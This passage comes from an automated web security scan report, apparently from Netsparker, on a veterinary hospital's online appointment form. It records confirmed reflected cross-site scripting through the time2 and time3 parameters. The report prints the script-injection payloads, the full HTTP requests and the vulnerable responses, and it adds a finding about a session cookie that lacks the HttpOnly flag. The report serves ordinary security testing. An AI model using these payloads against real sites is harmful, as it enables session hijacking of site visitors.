<option value=""></option>
<option value="Dog">Dog</option><option value="Cat">Cat</option><option value="Bird">Bird</option><option value="Rabbit">Rabbit</option><option value="Other">Other</option> </select>
</div>
<div>
<label for="other">Other
<span class="msg">You cannot use special characters in the Other Pet Type.</span>
</label><br />
<input name="other" id="other" type="text" size="40" class="req" maxlength="255" value="3" />
</div>
</div>
<div>
<div class="floatleft">
<label for="petname">Pet Name
<span class="msg">You cannot use special characters in the Pet Name.</span>
</label><br />
<input name="petname" id="petname" type="text" size="20" maxlength="50" value="Ronald Smith" />
</div>
<div>
<label for="petage">Pet Age
<span class="msg">You cannot use special characters in the Pet Age.</span>
</label><br />
<input name="petage" id="petage" type="text" size="15" maxlength="50" value="3" />
</div>
</div>
</noscript><!-- END utmx_section("Not Required") -->

<!-- CURRENT OR NEW CLIENT -->
<div>
<div class="radio-label">
<input type="radio" name="client" id="current_client" value="current" disabled="disabled" />
<label for="current_client">I am currently a client.</label>
</div>
<input type="radio" name="client" id="new_client" value="new" disabled="disabled" checked="checked" />
<label for="new_client">I am a new client.</label>
</div>

<!-- OP..
- /new-york-veterinary-hospital/appt.html

/new-york-veterinary-hospital/appt.html CONFIRMED

http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html?altphone=3&ampm1=AM&ampm2=AM&ampm..

Parameters

Parameter Type Value
altphone GET 3
ampm1 GET AM
ampm2 GET AM
ampm3 GET AM
appt_type GET appt
client GET current
date1 GET 3
date2 GET 3
date3 GET 3
doctor GET 3
email GET netsparker@example.com
fname GET Ronald Smith
guid GET 3
ipaddress GET 173.193.214.243
lname GET Ronald Smith
optin GET 3
other GET 3
petage GET 3
petname GET Ronald Smith
pettype GET 3
phone GET 3
reason GET 3
referer GET 3
source GET new-york-veterinary-hospital
submit GET Request An Appointment
time1 GET 3
time2 GET '"--></style></script><script>alert(0x000F0B)</script>
time3 GET 3
token GET 01b502d92fcd3be7cff2e3c9efe31502
uri GET http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html
useragent GET Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)

Request

GET /new-york-veterinary-hospital/appt.html?altphone=3&ampm1=AM&ampm2=AM&ampm3=AM&appt_type=appt&client=current&date1=3&date2=3&date3=3&doctor=3&email=netsparker@example.com&fname=Ronald%20Smith&guid=3&ipaddress=173.193.214.243&lname=Ronald%20Smith&optin=3&other=3&petage=3&petname=Ronald%20Smith&pettype=3&phone=3&reason=3&referer=3&source=new-york-veterinary-hospital&submit=Request+An+Appointment&time1=3&time2='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000F0B)%3C/script%3E&time3=3&token=01b502d92fcd3be7cff2e3c9efe31502&uri=http%3a%2f%2fwww.vcahospitals.com%2fnew-york-veterinary-hospital%2fappt.html&useragent=Mozilla%2f4.0+(compatible%3b+MSIE+6.0%3b+Windows+NT+5.1%3b+SV1%3b+.NET+CLR+1.1.4322) HTTP/1.1
Referer: http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.vcahospitals.com
Cookie: PHPSESSID=1v8c6mvg7rokholn56q5o5oa76
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 05 Mar 2011 12:50:00 GMT
Server: Apache/2.2.15 (Win32) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1" />
<title>New York Veterinary Hospital | Request an Appointment</title>
<meta name="description" content="New York Veterinary Hospital, New York, NY | Now VCA clients can Request an Appointment online. Choose a date and time convenient for you and your pet, and VCA will confirm your appointment." />
<meta name="keywords" content="New York Veterinary Hospital, New York, NY, [vca, animal hospital, vet, veterinarians, appointment, schedule, pet exam" />
<meta name="robots" content="index,follow" />
<meta name="revisit-after" content="7_days" />
<meta name="author" content="Designory.com" />
<meta http-equiv="imagetoolbar" content="no" />
<link href="/css/reset.css" rel="stylesheet" type="text/css" />
<link href="/css/style.css" rel="stylesheet" type="text/css" />
<script src="/js/jquery-1.3.1.js" type="text/javascript"></script>
<script src="/js/flash-embed.js" type="text/javascript"></script>
<script src="/js/_main.js" type="text/javascript"></script>
<!--[if lt IE 7]>
<link href="/css/ie.css" rel="stylesheet" type="text/css" />
<script src="/js/ie.js" type="text/javascript"></script>
<![endif]-->

<link rel="stylesheet" href="/css/jquery-ui-1.7.2.custom.css" type="text/css" /><script src="/js/forms/forms.js" type="text/javascript"></script><script src="/js/forms/appt.js" type="text/javascript"></script><script src="/js/jquery-ui-1.7.2.custom.min.js" type="text/javascript"></script></head>
<body id="appt"><script type="text/javascript">
var unica_imod_accountId=111;
var NTPT_IMGSRC = 'http://pt200243.unica.com/ntpagetag.gif';
var NTPT_HTTPSIMGSRC = 'https://pt200243.unica.com/ntpagetag.gif';
</script>
<script src="http://vca.unicaondemand.com/ods/js/imodTag.js" type="text/javascript"></script>
<div class="wrapper shadow">

<div class="header">
<a name="top"></a>
<a href="http://www.vcahospitals.com/new-york-veterinary-hospital/home.html"><img id="vca-logo" src="/img/logo-vca-admin.png" height="56" width="122" alt="VCA logo" class="trans logo screen" /></a>
<h1 class="sifr">New York Veterinary Hospital</h1>
<div class="nav-primary">
<ul><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/our-team.html" title="Our Team">Our Team</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/services.html" title="Our Services">Our Services</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/our-hospital.html" title="Our Hospital">Our Hospital</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/more/events.html" title="Events">Events</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/testimonials.html" title="Testimonials">Testimonials</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/new-clients.html" title="Your First Visit">Your First Visit</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/why-vca.html" title="Our Pledge">Our Pledge</a></li></ul> </div><!-- .nav-primary -->
<ul class="nav-secondary"><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/home.html" title="HOME">HOME</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/pet-adoptions.html" title="PET ADOPTIONS">PET ADOPTIONS</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/careers.html" title="CAREERS">CAREERS</a></li></ul> </div><!-- .header -->

<div class="body ">
<div class="main">
<div class="content">
<h2>Request an Appointment</h2> <!-- Google Website Optimizer Control Script -->
<script>
function utmx_section(){}function utmx(){}
(function(){var k='1639539707',d=document,l=d.location,c=d.cookie;function f(n){
if(c){var i=c.indexOf(n+'=');if(i>-1){var j=c.indexOf(';',i);return escape(c.substring(i+n.
length+1,j<0?c.length:j))}}}var x=f('__utmx'),xx=f('__utmxx'),h=l.hash;
d.write('<sc'+'ript src="'+
'http'+(l.protocol=='https:'?'s://ssl':'://www')+'.google-analytics.com'
+'/siteopt.js?v=1&utmxkey='+k+'&utmx='+(x?x:'')+'&utmxx='+(xx?xx:'')+'&utmxtime='
+new Date().valueOf()+(h?'&utmxhash='+escape(h.substr(1)):'')+
'" type="text/javascript" charset="utf-8"></sc'+'ript>')})();
</script>
<!-- End of Google Website Optimizer Control Script -->
<strong></strong><p>Use the form below to request an appointment. One of our team members will call you back to confirm your appointment.</p> <form action="/new-york-veterinary-hospital/appt/thank-you.html" method="POST" name="appt-form" id="appt-form" class="input-form">
<div id="error-msg"></div>
<div class="required">* Required Fields.</div>

<!-- NAME -->
<div>
<div class="floatleft">
<label for="fname" class="req">First Name
<span class="msg">You cannot use special characters in the First Name.</span>
<span class="msg-req">First Name is a required field.</span>
</label><br />
<input name="fname" id="fname" type="text" size="30" class="req" maxlength="50" value="Ronald Smith" />
</div>
<div>
<label for="lname" class="req">Last Name
<span class="msg">You cannot use special characters in the Last Name.</span>
<span class="msg-req">Last Name is a required field.</span>
</label><br />
<input name="lname" id="lname" type="text" size="30" class="req" maxlength="50" value="Ronald Smith" />
</div>
</div>


<script>utmx_section("Date Select")</script>
<!-- PREFERRED DATE AND TIME -->
<div>
<div class="floatleft">
<label for="date1" class="req">First Preferred Date
<span class="msg">Please use a valid First Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for First Preferred Date.</span>
<span class="msg-req">First Preferred Date is a required field.</span>
</label><br />
<input name="date1" id="date1" type="text" size="20" maxlength="50" value="3" class="datepicker" />
</div>
<div class="floatleft">
<label for="time1">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time1" id="time1" type="text" size="15" maxlength="50" value="3" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm1" id="am1" value="AM" checked="checked" />
<label for="am1">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm1" id="pm1" value="PM" />
<label for="pm1">PM</label>
</div>
<br class="clear" />
</div>

<div>
<div class="floatleft">
<label for="date2">Second Preferred Date
<span class="msg">Please use a valid Second Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for Second Preferred Date.</span>
</label><br />
<input name="date2" id="date2" type="text" size="20" maxlength="50" value="3" class="datepicker" />
</div>
<div class="floatleft">
<label for="time2">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time2" id="time2" type="text" size="15" maxlength="50" value="'"--></style></script><script>netsparker(0x000F0B)</script>" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm2" id="am2" value="AM" checked="checked" />
<label for="am2">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm2" id="pm2" value="PM" />
<label for="pm2">PM</label>
</div>
<br class="clear" />
</div>

<div>
<div class="floatleft">
<label for="date3">Third Preferred Date
<span class="msg">Please use a valid Third Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for Third Preferred Date.</span>
</label><br />
<input name="date3" id="date3" type="text" size="20" maxlength="50" value="3" class="datepicker" />
</div>
<div class="floatleft">
<label for="time3">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time3" id="time3" type="text" size="15" maxlength="50" value="3" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm3" id="am3" value="AM" checked="checked" />
<label for="am3">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm3" id="pm3" value="PM" />
<label for="pm3">PM</label>
</div>
<br class="clear" />
</div>
</noscript><!-- END utmx_section("Date Select") -->

<!-- PHONE -->
<div>Please give us at least one phone number so we can call you back to confirm the availability of this appointment.</div>
<div>
<div class="floatleft">
<label for="phone" class="req">Daytime Phone
<span class="msg">Please use a valid Daytime Phone format, eg. ###-###-####.</span>
<span class="msg-req">Preferred Phone is a required field.</span>
</label><br />
<input name="phone" id="phone" type="text" size="30" maxlength="20" value="3" />
</div>
<div>
<label for="altphone">Alternate Phone <span class="small">(In case we can't reach you)
<span class="msg">Please use a valid Alternate Phone format, eg. ###-###-####.</span>
</label><br />
<input name="altphone" id="altphone" type="text" size="30" maxlength="20" value="3" />
</div>
</div>

<!-- EMAIL -->
<div>
<label for="email" class="req">Email Address
<span class="msg">Please use a valid Email Address format, eg. abc@xyz.com.</span>
<span class="msg-req">Email Address is a required field.</span>
</label><br />
<input name="email" id="email" type="text" size="40" maxlength="255" value="netsparker@example.com" />
</div>

<script>utmx_section("Not Required")</script>
<!-- PREFERRED DOCTOR -->
<div>
<label for="doctor">Select your preferred professional
<span class="msg">Please select a doctor.</span>
</label><br />
<select name="doctor" id="doctor" style="width:20em;">
<option value=""></option>
<option value="Kimberly A. Whitfield - Veterinarian">Kimberly A. Whitfield - Veterinarian</option> </select>
</div>

<!-- REASON FOR VISIT -->
<div>
<label for="reason">Reason for visit
<span class="msg-req">Please select a reason for visit.</span>
</label><br />
<select name="reason" id="reason" style="width:20em;">
<option value=""></option>
<option value="Wellness Exam">Wellness Exam</option><option value="Routine Dental Care">Routine Dental Care</option><option value="Vaccine Booster">Vaccine Booster</option><option value="My Pet Is Sick">My Pet Is Sick</option><option value="Other">Other</option> </select>
</div>

<!-- PET INFO -->
<div>
<div class="floatleft">
<label for="pettype">Pet Type</label><br />
<select name="pettype" id="pettype" style="width:11em;">
<option value=""></option>
<option value="Dog">Dog</option><option value="Cat">Cat</option><option value="Bird">Bird</option><option value="Rabbit">Rabbit</option><option value="Other">Other</option> </select>
</div>
<div>
<label for="other">Other
<span class="msg">You cannot use special characters in the Other Pet Type.</span>
</label><br />
<input name="other" id="other" type="text" size="40" class="req" maxlength="255" value="3" />
</div>
</div>
<div>
<div class="floatleft">
<label for="petname">Pet Name
<span class="msg">You cannot use special characters in the Pet Name.</span>
</label><br />
<input name="petname" id="petname" type="text" size="20" maxlength="50" value="Ronald Smith" />
</div>
<div>
<label for="petage">Pet Age
<span class="msg">You cannot use special characters in the Pet Age.</span>
</label><br />
<input name="petage" id="petage" type="text" size="15" maxlength="50" value="3" />
</div>
</div>
</noscript><!-- END utmx_section("Not Required") -->

<!-- CURRENT OR NEW CLIENT -->
<div>
<div class="radio-label">
<input type="radio" name="client" id="current_client" value="current" disabled="disabled" />
<label for="current_client">I am currently a client.</label>
</div>
<input type="radio" name="client" id="new_client" value="new" disabled="disabled" checked="checked" />
<label for="new_client">I am a new client.</label>
</div>

<!-- OP..
- /new-york-veterinary-hospital/appt.html

/new-york-veterinary-hospital/appt.html CONFIRMED

http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html?altphone=3&ampm1=AM&ampm2=AM&ampm..

Parameters

Parameter Type Value
altphone GET 3
ampm1 GET AM
ampm2 GET AM
ampm3 GET AM
appt_type GET appt
client GET current
date1 GET 3
date2 GET 3
date3 GET 3
doctor GET 3
email GET netsparker@example.com
fname GET Ronald Smith
guid GET 3
ipaddress GET 173.193.214.243
lname GET Ronald Smith
optin GET 3
other GET 3
petage GET 3
petname GET Ronald Smith
pettype GET 3
phone GET 3
reason GET 3
referer GET 3
source GET new-york-veterinary-hospital
submit GET Request An Appointment
time1 GET 3
time2 GET 3
time3 GET '"--></style></script><script>alert(0x000F0C)</script>
token GET 179cc1cd8f4263e50720431e0f0b9e4b
uri GET http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html
useragent GET Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)

Request

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Referer: http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.vcahospitals.com
Cookie: PHPSESSID=1v8c6mvg7rokholn56q5o5oa76
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 05 Mar 2011 12:50:05 GMT
Server: Apache/2.2.15 (Win32) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1" />
<title>New York Veterinary Hospital | Request an Appointment</title>
<meta name="description" content="New York Veterinary Hospital, New York, NY | Now VCA clients can Request an Appointment online. Choose a date and time convenient for you and your pet, and VCA will confirm your appointment." />
<meta name="keywords" content="New York Veterinary Hospital, New York, NY, [vca, animal hospital, vet, veterinarians, appointment, schedule, pet exam" />
<meta name="robots" content="index,follow" />
<meta name="revisit-after" content="7_days" />
<meta name="author" content="Designory.com" />
<meta http-equiv="imagetoolbar" content="no" />
<link href="/css/reset.css" rel="stylesheet" type="text/css" />
<link href="/css/style.css" rel="stylesheet" type="text/css" />
<script src="/js/jquery-1.3.1.js" type="text/javascript"></script>
<script src="/js/flash-embed.js" type="text/javascript"></script>
<script src="/js/_main.js" type="text/javascript"></script>
<!--[if lt IE 7]>
<link href="/css/ie.css" rel="stylesheet" type="text/css" />
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<![endif]-->

<link rel="stylesheet" href="/css/jquery-ui-1.7.2.custom.css" type="text/css" /><script src="/js/forms/forms.js" type="text/javascript"></script><script src="/js/forms/appt.js" type="text/javascript"></script><script src="/js/jquery-ui-1.7.2.custom.min.js" type="text/javascript"></script></head>
<body id="appt"><script type="text/javascript">
var unica_imod_accountId=111;
var NTPT_IMGSRC = 'http://pt200243.unica.com/ntpagetag.gif';
var NTPT_HTTPSIMGSRC = 'https://pt200243.unica.com/ntpagetag.gif';
</script>
<script src="http://vca.unicaondemand.com/ods/js/imodTag.js" type="text/javascript"></script>
<div class="wrapper shadow">

<div class="header">
<a name="top"></a>
<a href="http://www.vcahospitals.com/new-york-veterinary-hospital/home.html"><img id="vca-logo" src="/img/logo-vca-admin.png" height="56" width="122" alt="VCA logo" class="trans logo screen" /></a>
<h1 class="sifr">New York Veterinary Hospital</h1>
<div class="nav-primary">
<ul><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/our-team.html" title="Our Team">Our Team</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/services.html" title="Our Services">Our Services</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/our-hospital.html" title="Our Hospital">Our Hospital</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/more/events.html" title="Events">Events</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/testimonials.html" title="Testimonials">Testimonials</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/new-clients.html" title="Your First Visit">Your First Visit</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/why-vca.html" title="Our Pledge">Our Pledge</a></li></ul> </div><!-- .nav-primary -->
<ul class="nav-secondary"><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/home.html" title="HOME">HOME</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/pet-adoptions.html" title="PET ADOPTIONS">PET ADOPTIONS</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/careers.html" title="CAREERS">CAREERS</a></li></ul> </div><!-- .header -->

<div class="body ">
<div class="main">
<div class="content">
<h2>Request an Appointment</h2> <!-- Google Website Optimizer Control Script -->
<script>
function utmx_section(){}function utmx(){}
(function(){var k='1639539707',d=document,l=d.location,c=d.cookie;function f(n){
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<!-- End of Google Website Optimizer Control Script -->
<strong></strong><p>Use the form below to request an appointment. One of our team members will call you back to confirm your appointment.</p> <form action="/new-york-veterinary-hospital/appt/thank-you.html" method="POST" name="appt-form" id="appt-form" class="input-form">
<div id="error-msg"></div>
<div class="required">* Required Fields.</div>

<!-- NAME -->
<div>
<div class="floatleft">
<label for="fname" class="req">First Name
<span class="msg">You cannot use special characters in the First Name.</span>
<span class="msg-req">First Name is a required field.</span>
</label><br />
<input name="fname" id="fname" type="text" size="30" class="req" maxlength="50" value="Ronald Smith" />
</div>
<div>
<label for="lname" class="req">Last Name
<span class="msg">You cannot use special characters in the Last Name.</span>
<span class="msg-req">Last Name is a required field.</span>
</label><br />
<input name="lname" id="lname" type="text" size="30" class="req" maxlength="50" value="Ronald Smith" />
</div>
</div>


<script>utmx_section("Date Select")</script>
<!-- PREFERRED DATE AND TIME -->
<div>
<div class="floatleft">
<label for="date1" class="req">First Preferred Date
<span class="msg">Please use a valid First Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for First Preferred Date.</span>
<span class="msg-req">First Preferred Date is a required field.</span>
</label><br />
<input name="date1" id="date1" type="text" size="20" maxlength="50" value="3" class="datepicker" />
</div>
<div class="floatleft">
<label for="time1">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time1" id="time1" type="text" size="15" maxlength="50" value="3" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm1" id="am1" value="AM" checked="checked" />
<label for="am1">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm1" id="pm1" value="PM" />
<label for="pm1">PM</label>
</div>
<br class="clear" />
</div>

<div>
<div class="floatleft">
<label for="date2">Second Preferred Date
<span class="msg">Please use a valid Second Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for Second Preferred Date.</span>
</label><br />
<input name="date2" id="date2" type="text" size="20" maxlength="50" value="3" class="datepicker" />
</div>
<div class="floatleft">
<label for="time2">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time2" id="time2" type="text" size="15" maxlength="50" value="3" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm2" id="am2" value="AM" checked="checked" />
<label for="am2">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm2" id="pm2" value="PM" />
<label for="pm2">PM</label>
</div>
<br class="clear" />
</div>

<div>
<div class="floatleft">
<label for="date3">Third Preferred Date
<span class="msg">Please use a valid Third Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for Third Preferred Date.</span>
</label><br />
<input name="date3" id="date3" type="text" size="20" maxlength="50" value="3" class="datepicker" />
</div>
<div class="floatleft">
<label for="time3">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time3" id="time3" type="text" size="15" maxlength="50" value="'"--></style></script><script>netsparker(0x000F0C)</script>" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm3" id="am3" value="AM" checked="checked" />
<label for="am3">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm3" id="pm3" value="PM" />
<label for="pm3">PM</label>
</div>
<br class="clear" />
</div>
</noscript><!-- END utmx_section("Date Select") -->

<!-- PHONE -->
<div>Please give us at least one phone number so we can call you back to confirm the availability of this appointment.</div>
<div>
<div class="floatleft">
<label for="phone" class="req">Daytime Phone
<span class="msg">Please use a valid Daytime Phone format, eg. ###-###-####.</span>
<span class="msg-req">Preferred Phone is a required field.</span>
</label><br />
<input name="phone" id="phone" type="text" size="30" maxlength="20" value="3" />
</div>
<div>
<label for="altphone">Alternate Phone <span class="small">(In case we can't reach you)
<span class="msg">Please use a valid Alternate Phone format, eg. ###-###-####.</span>
</label><br />
<input name="altphone" id="altphone" type="text" size="30" maxlength="20" value="3" />
</div>
</div>

<!-- EMAIL -->
<div>
<label for="email" class="req">Email Address
<span class="msg">Please use a valid Email Address format, eg. abc@xyz.com.</span>
<span class="msg-req">Email Address is a required field.</span>
</label><br />
<input name="email" id="email" type="text" size="40" maxlength="255" value="netsparker@example.com" />
</div>

<script>utmx_section("Not Required")</script>
<!-- PREFERRED DOCTOR -->
<div>
<label for="doctor">Select your preferred professional
<span class="msg">Please select a doctor.</span>
</label><br />
<select name="doctor" id="doctor" style="width:20em;">
<option value=""></option>
<option value="Kimberly A. Whitfield - Veterinarian">Kimberly A. Whitfield - Veterinarian</option> </select>
</div>

<!-- REASON FOR VISIT -->
<div>
<label for="reason">Reason for visit
<span class="msg-req">Please select a reason for visit.</span>
</label><br />
<select name="reason" id="reason" style="width:20em;">
<option value=""></option>
<option value="Wellness Exam">Wellness Exam</option><option value="Routine Dental Care">Routine Dental Care</option><option value="Vaccine Booster">Vaccine Booster</option><option value="My Pet Is Sick">My Pet Is Sick</option><option value="Other">Other</option> </select>
</div>

<!-- PET INFO -->
<div>
<div class="floatleft">
<label for="pettype">Pet Type</label><br />
<select name="pettype" id="pettype" style="width:11em;">
<option value=""></option>
<option value="Dog">Dog</option><option value="Cat">Cat</option><option value="Bird">Bird</option><option value="Rabbit">Rabbit</option><option value="Other">Other</option> </select>
</div>
<div>
<label for="other">Other
<span class="msg">You cannot use special characters in the Other Pet Type.</span>
</label><br />
<input name="other" id="other" type="text" size="40" class="req" maxlength="255" value="3" />
</div>
</div>
<div>
<div class="floatleft">
<label for="petname">Pet Name
<span class="msg">You cannot use special characters in the Pet Name.</span>
</label><br />
<input name="petname" id="petname" type="text" size="20" maxlength="50" value="Ronald Smith" />
</div>
<div>
<label for="petage">Pet Age
<span class="msg">You cannot use special characters in the Pet Age.</span>
</label><br />
<input name="petage" id="petage" type="text" size="15" maxlength="50" value="3" />
</div>
</div>
</noscript><!-- END utmx_section("Not Required") -->

<!-- CURRENT OR NEW CLIENT -->
<div>
<div class="radio-label">
<input type="radio" name="client" id="current_client" value="current" disabled="disabled" />
<label for="current_client">I am currently a client.</label>
</div>
<input type="radio" name="client" id="new_client" value="new" disabled="disabled" checked="checked" />
<label for="new_client">I am a new client.</label>
</div>

<!-- OP..
Cookie Not Marked As HttpOnly

Cookie Not Marked As HttpOnly

1 TOTAL
LOW
CONFIRMED
1
Cookie was not marked as HTTPOnly. HTTPOnly cookies can not be read by client-side scripts therefore marking a cookie as HTTPOnly can provide an additional layer of protection against Cross-site Scripting attacks..

Impact

During a Cross-site Scripting attack an attacker might easily access cookies and hijack the victim's session.

Actions to Take

  1. See the remedy for solution
  2. Consider marking all of the cookies used by the application as HTTPOnly (After these changes javascript code will not able to read cookies.

Remedy

Mark the cookie as HTTPOnly. This will be an extra layer of defence against XSS. However this is not a silver bullet and will not protect the system against Cross-site Scripting attacks. An attacker can use a tool such as XSS Tunnel to bypass HTTPOnly protection.

External References

- /new-york-veterinary-hospital/appt.html

/new-york-veterinary-hospital/appt.html CONFIRMED

http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html

Identified Cookie

PHPSESSID

Request

GET /new-york-veterinary-hospital/appt.html HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.vcahospitals.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Sat, 05 Mar 2011 12:45:30 GMT
Server: Apache/2.2.15 (Win32) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Set-Cookie: PHPSESSID=1v8c6mvg7rokholn56q5o5oa76; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1" />
<title>New York Veterinary Hospital | Request an Appointment</title>
<meta name="description" content="New York Veterinary Hospital, New York, NY | Now VCA clients can Request an Appointment online. Choose a date and time convenient for you and your pet, and VCA will confirm your appointment." />
<meta name="keywords" content="New York Veterinary Hospital, New York, NY, [vca, animal hospital, vet, veterinarians, appointment, schedule, pet exam" />
<meta name="robots" content="index,follow" />
<meta name="revisit-after" content="7_days" />
<meta name="author" content="Designory.com" />
<meta http-equiv="imagetoolbar" content="no" />
<link href="/css/reset.css" rel="stylesheet" type="text/css" />
<link href="/css/style.css" rel="stylesheet" type="text/css" />
<script src="/js/jquery-1.3.1.js" type="text/javascript"></script>
<script src="/js/flash-embed.js" type="text/javascript"></script>
<script src="/js/_main.js" type="text/javascript"></script>
<!--[if lt IE 7]>
<link href="/css/ie.css" rel="stylesheet" type="text/css" />
<script src="/js/ie.js" type="text/javascript"></script>
<![endif]-->

<link rel="stylesheet" href="/css/jquery-ui-1.7.2.custom.css" type="text/css" /><script src="/js/forms/forms.js" type="text/javascript"></script><script src="/js/forms/appt.js" type="text/javascript"></script><script src="/js/jquery-ui-1.7.2.custom.min.js" type="text/javascript"></script></head>
<body id="appt"><script type="text/javascript">
var unica_imod_accountId=111;
var NTPT_IMGSRC = 'http://pt200243.unica.com/ntpagetag.gif';
var NTPT_HTTPSIMGSRC = 'https://pt200243.unica.com/ntpagetag.gif';
</script>
<script src="http://vca.unicaondemand.com/ods/js/imodTag.js" type="text/javascript"></script>
<div class="wrapper shadow">

<div class="header">
<a name="top"></a>
<a href="http://www.vcahospitals.com/new-york-veterinary-hospital/home.html"><img id="vca-logo" src="/img/logo-vca-admin.png" height="56" width="122" alt="VCA logo" class="trans logo screen" /></a>
<h1 class="sifr">New York Veterinary Hospital</h1>
<div class="nav-primary">
